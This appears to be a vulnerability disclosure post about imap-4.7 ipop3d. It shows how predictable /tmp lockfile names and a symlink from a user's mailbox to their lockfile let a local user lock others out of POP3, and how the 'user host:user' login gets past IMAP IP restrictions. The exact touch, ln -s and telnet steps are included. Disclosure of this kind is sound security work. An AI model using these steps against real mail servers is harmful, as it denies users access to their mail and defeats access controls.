This is all done using imap-4.7-7 packages. #1 I don't know why this is, but it seems that lockfiles for a user that are created in /tmp have the same name each time or very similar, like 1 char difference, when the user logs into their pop3 mailbox until the system is rebooted. Here is what I mean: On linux.local the machine running ipop3d: [root@linux mail]# l /tmp/.* drwxrwxrwt 24 root root 3072 Apr 26 20:33 /tmp/. drwxr-xr-x 26 root root 1024 Apr 21 20:49 /tmp/.. drwxrwxrwt 2 root root 1024 Apr 25 18:48 /tmp/.ICE-unix drwxrwxrwt 2 root root 1024 Apr 25 18:48 /tmp/.X11-unix drwxrwxrwt 2 xfs xfs 1024 Apr 26 14:20 /tmp/.font-unix [root@linux mail]# l /var/spool/mail total 437 drwxrwxr-x 2 root mail 1024 Apr 26 20:06 . drwxr-xr-x 17 root root 1024 Aug 2 1998 .. -rw-rw---- 1 db mail 482 Apr 24 22:36 db -rw-rw---- 1 sb mail 1140 Jan 24 20:48 sb -rw-rw---- 1 news mail 207836 Mar 5 20:30 news -rw------- 1 root root 0 Apr 5 13:26 root -rw-rw---- 1 user mail 533 Apr 26 20:07 user -rw-rw---- 1 www mail 218724 Feb 23 23:30 www On king.local client machine: [user@king user]# telnet linux 110 Trying 192.168.0.3... Connected to linux.local (192.168.0.3). Escape character is '^]'. +OK POP3 linux.local v7.64 server ready user sb +OK User name accepted, password please pass testpass +OK Mailbox open, 1 messages Back on linux.local: [root@linux mail]# l /tmp/.* -d drwxrwxrwt 24 root root 3072 Apr 26 20:37 /tmp/. drwxr-xr-x 26 root root 1024 Apr 21 20:49 /tmp/.. -rw-rw-rw- 1 user users 4 Apr 26 20:37 /tmp/.301.29057 drwxrwxrwt 2 root root 1024 Apr 25 18:48 /tmp/.ICE-unix drwxrwxrwt 2 root root 1024 Apr 25 18:48 /tmp/.X11-unix drwxrwxrwt 2 xfs xfs 1024 Apr 26 14:20 /tmp/.font-unix The lockfile /tmp/.301.29057 is created and after user logs off, it is gone: [root@king rfc]# l /tmp/.* -d drwxrwxrwt 24 root root 3072 Apr 26 20:42 /tmp/. drwxr-xr-x 26 root root 1024 Apr 21 20:49 /tmp/.. drwxrwxrwt 2 root root 1024 Apr 25 18:48 /tmp/.ICE-unix drwxrwxrwt 2 root root 1024 Apr 25 18:48 /tmp/.X11-unix drwxrwxrwt 2 xfs xfs 1024 Apr 26 14:20 /tmp/.font-unix User logs back into account again: [root@king rfc]# l /tmp/.* -d drwxrwxrwt 24 root root 3072 Apr 26 20:45 /tmp/. drwxr-xr-x 26 root root 1024 Apr 21 20:49 /tmp/.. -rw-rw-rw- 1 user users 4 Apr 26 20:45 /tmp/.301.29057 drwxrwxrwt 2 root root 1024 Apr 25 18:48 /tmp/.ICE-unix drwxrwxrwt 2 root root 1024 Apr 25 18:48 /tmp/.X11-unix drwxrwxrwt 2 xfs xfs 1024 Apr 26 14:20 /tmp/.font-unix Lockfile returns with same name. Why? I don't know. Each user gets a different lockfile name, but it always seems to be the same until system reboots which allows people to do this: [eviluser@linux eviluser]# touch /tmp/.301.29057 so when user tries to log into mail account: [user@king user]# telnet linux 110 Trying 192.168.0.3... Connected to linux.local (192.168.0.3). Escape character is '^]'. +OK POP3 linux.local v7.64 server ready user user +OK User name accepted, password please pass testpass -ERR Can't get lock. Mailbox in use Connection closed by foreign host. Nifty little temporary DoS. All a user has to do is check for the name of another user's lockfile and touch it when he/she logs off. I haven't had time to look at this very closely nor look at lockfile functionability, but I did try this on a slackware machine with same version of imap and ipop3d and it exibited the same behaviour. #2 Obscure, Theoretical, but could happen. If a user's mailbox is symlinked to the user's lockfile, the process which opened the mailbox hangs and has to be killed locally because it won't accept commands and the user cannot reconnect because the new process will try to lock the mailbox fail and then fail to get the old process to cough up the lock file and thus loging into ipop3d fails. This kind of DoS would only be workable if the following is true: 1. /var/spool/mail is chmod 1777 like ipop3d wants (i.e. in logs: Apr 26 20:21:55 linux ipop3d[5389]: Mailbox vulnerable - directory /var/spool/mail must have 1777 protection I know alot of people make it 1777 to get rid of annoying messages ipop3d spews. The filesystem package set /var/spool/mail at 0755 and linuxconf wants it 1775. Can't have it both ways, 1777 or 1775, gotta pick. 2. While the user was logged into ipop3d his/her mailbox was removed by another process or program the user ran or had running (i.e. another window with a different mail prog or something like that) If those are true than a malicious user could ln -s /tmp/<user's lockfile> /var/spool/mail/<user> and tada when user tries to log off ipop3d it is no longer responding and must be killed by root as it is running under uid of nobody. I figured this one out because I forgot I had a program that checked my mail every hour running in the background and it moved my mail to my home directory while I was on the pop port. After looking at my maillog I figured out the problem and found I could fool around with it. Another interesting thing about this is that a user can get imap and ipop3d process both running unresponsive by logging in this way: +OK POP3 linux.local v7.64 server ready user linux:user +OK User name accepted, password please pass testpass +OK Mailbox open, 1 messages using the 'user <host>:<user>' causes ipop3d to startup an imapd and use that to read the mail. In that way you can get both all screwed up:P #3 Allowing clients to use imap services through pop3 like mentioned above circumvents IP restrictions imposed on the imap port (i.e. access is restricted to localhost) because pop connects to the imap port using address 127.0.0.1 thereby bypassing any imposed IP restrictions on the imap port. Just food for thought. Anyway none of these are DoS's that bring down IMAPD or POPD altogether, they just DoS certain users, so not a huge problem by any means. -Stan Bubrouski
assigned to the new owner